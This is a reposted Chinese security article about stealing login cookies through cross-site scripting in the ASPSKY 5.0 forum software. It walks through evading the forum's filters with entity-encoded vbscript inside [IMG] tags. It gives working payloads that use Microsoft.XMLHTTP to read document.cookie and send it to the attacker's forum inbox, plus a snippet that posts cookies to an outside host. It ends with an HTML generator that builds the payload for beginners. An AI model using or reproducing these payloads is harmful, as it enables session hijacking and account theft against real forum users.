利用Microsoft.XMLHTTP控件發送COOKIE

2020-07-27 13:28:51

字體：大中小

來源：轉載

供稿：網友

作者：czy <czy82@elong.com>
出處：http://www.nsfocus.net
日期：2003-09-03

(注意由于論壇會對文章中的一些字符作處理，所以最好到
http://www.chinansl.com/czy/xmlhttp.txt看文章
http://www.chinansl.com/czy/aspsky5.htm測試代碼)

    跨站腳本攻擊想必各位都已經是很熟悉了，但是得到COOKIE的時候一直有一個
問題：總是要用WINDOW.OPEN彈一個窗體出來然后發送COOKIE，這樣隱秘性
就大打折扣了。以前我想了一個在網頁中用insertAdjacentHTML方法來注入HTML語句
的辦法勉強可以作到發送COOKIE不出現IE窗口，但是在實際使用中有時會遇到IE出錯。

    沒有更好的辦法了嗎？以前在研究VBS病毒自動升級的時候用到一個Microsoft.XMLHTTP
控件(該控件是WIN98/2K上都默認自帶的東東,并且它是IE認為safe的控件!),通過它我們
可以在網頁中給網站發送http請求，可以是POST也可以是GET.

    好了思路已經到這兒來，下面我們可以實戰一下，我以ASPSKY 5.0 0320為例子。
我們知道<IMG SRC="XXXXXXX">在SRC中可以寫入vbscript:這樣的語句。。比如
<img src="vbscript:a=(msgbox(now))">,但是我們只能執行一個語句，比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">這樣都將是錯誤的!
怎么辦法呢？在VBS中我們可以用EXECUTE語句，在JS中我們可以使用EVAL語！
比如：<img src="vbscript:execute(&#34a=(msgbox(now)):b=(msgbox(&#34czy&#34&#34))&#34)">
或是<img src="javascript:eval('alert(/'nsfocus/');alert(/'czy/')')">

   還沒有暈吧？上面你可能會注意到用VBS的execute語句時雙引號要換為"這是因為：
在VBS中單引號要括起字符串，必須是兩個單引號代表一個又引號，并且在雙引號內！
所以在execute語句中我們不能用單引號，而直接用"呢，在HTML進行引號匹配的時候
會和src="后的引號匹配，所以我們只能用"代替了。

   引號的問題解決了，在實際應用中ASPSKY還會對我們的代碼進行處理：
1:如果發現script字串，會在前面加上一個空格
2:如果發現http字串會認為是一個URL，并在兩邊加上<A>元素
3:如果發現空格會用 代替

  解決問題：
1:vbscript用vbsCript代替
2:http用,&#34&#34ht&#34&#34+&#34&#34tp...代替(vbs中引號括引號里面的應用多一對,+代表連接符)
3:空格用&#32代替（注不是&#20）

   在最后就是發送COOKIE的問題:
1:控件在本地可以GET,POST任意的網站，但是在網頁中竟然只能
GET,POST當前服務器。。。。要不然IE就會說拒絕仿問！
2:cookie中不能有&等在URL中有特殊交意的字符

  解決問題：

1:只能發給當前服務器，那么可以把COOKIE發到你在論壇上的注冊的用戶的郵箱嘛:)
2:replace(document.cookie,&#34&#34&&#34&#34,&#34&#34-&#34&#34),在vbs中用
replace替換函用，在例子中我把"&"換成了"-"

問題都解決了下面是實際的例子：
動網aspsky 5.0 0320測試成功

//----------------------

[IMG]vbs&#67ript:execute(&#34dat=replace(document.cookie,&#34&#34&&#34&#34,&#34&#34-&#34&#34):set&#32http=createobject(&#34&#34Microsoft.XMLHTTP&#34&#34):http.open&#32&#34&#34GET&#34&#34,&#34&#34ht&#34&#34+&#34&#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=發送&message=&#34&#34&dat,false:http.send&#34)[/IMG]

說明：把COOKIE發給CZY用戶,郵件標題叫news
//----------------------

另控件的正常用法：
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>

  讓代碼更完美，現在COOKIE已經乖乖的在我們的郵箱里了，但是有一個小問題由于圖片不
能正常的顯示會是一個小叉，旁邊還有按此在新窗口瀏覽圖片的提示。。。這又難免會讓人
生疑。

解決思路：
一個網頁中的所有IMG元素通過document.imanges都能例舉到，并且可以設置它們的大小，當width=0時就
相當于HIDDEN了.通過比較元素的src屬性的值是否含有"ript"就可以判斷是不是我們的圖片.另外比較時
大于符用&#62代替，0用&#48代替!

代碼:
[IMG]vbs&#67ript:execute(&#34for&#32each&#32aa&#32in&#32document.images:if&#32instr(aa.src,&#34&#34ript&#34&#34)&#62&#48&#32then:aa.width=0:end&#32if:next&#34)[/IMG]

實際應用的代碼：
[IMG]vbs&#67ript:execute(&#34for&#32each&#32aa&#32in&#32document.images:if&#32instr(aa.src,&#34&#34ript&#34&#34)&#62&#48&#32then:aa.width=0:end&#32if:next:dat=replace(document.cookie,&#34&#34&&#34&#34,&#34&#34-&#34&#34):set&#32http=createobject(&#34&#34Microsoft.XMLHTTP&#34&#34):http.open&#32&#34&#34GET&#34&#34,&#34&#34ht&#34&#34+&#34&#34tp://www.hd315.gov.cn/gcs/19qu/yanqing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=發送&message=&#34&#34&dat,false:http.send&#34)[/IMG]

//-------------------方便菜鳥使用：）

<html>  <script language=vbs>  sub changeq()  if form1.loc.value="" or form1.who.value="" then  msgbox "沒有加入地址或用戶名?"  exit sub  end if  loc=form1.loc.value  user=form1.who.value  str="[IMG]vbs&#67ript:execute(&#34for&#32each&#32aa&#32in&#32document.images:if&#32instr(aa.src,&#34&#34ript&#34&#34)&#62&#48&#32then:aa.width=0:end&#32if:next:dat=replace(document.cookie,&#34&#34&&#34&#34,&#34&#34-&#34&#34):set&#32http=createobject(&#34&#34Microsoft.XMLHTTP&#34&#34):http.open&#32&#34&#34GET&#34&#34,&#34&#34ht&#34&#34+&#34&#34tp://"&loc&"/usersms.asp?action=send&touser="&user&"&title=news&submit=發送&message=&#34&#34&dat,false:http.send&#34)[/IMG]"  form1.area.value=str  end sub  </script>  <body>  <FONT SIZE=5 COLOR=RED>ASPSKY 5.0 0320 COOKI搜集器--CZY  <form name=form1>  設置發送地址:<input type=text name=loc size=50>  ▲發送地址形如:www.nnit30.com/newbbs(newbbs是網站中論壇的安裝目錄最后不用加/,也不要http://頭)  發送的用戶名:<input type=text name=who size=20>-------------  <input type=button name=change value=生成代碼 onclick=changeq()>  生成的代碼:)<textarea name=area rows=10 cols=100></textarea>  </form>  </body>  </html>

[Ctrl+A 全選注:引入外部Js需再刷新一下頁面才能執行]

上一篇：ASP的天空小偷

下一篇：ASP開發中數據庫文件調用的捷徑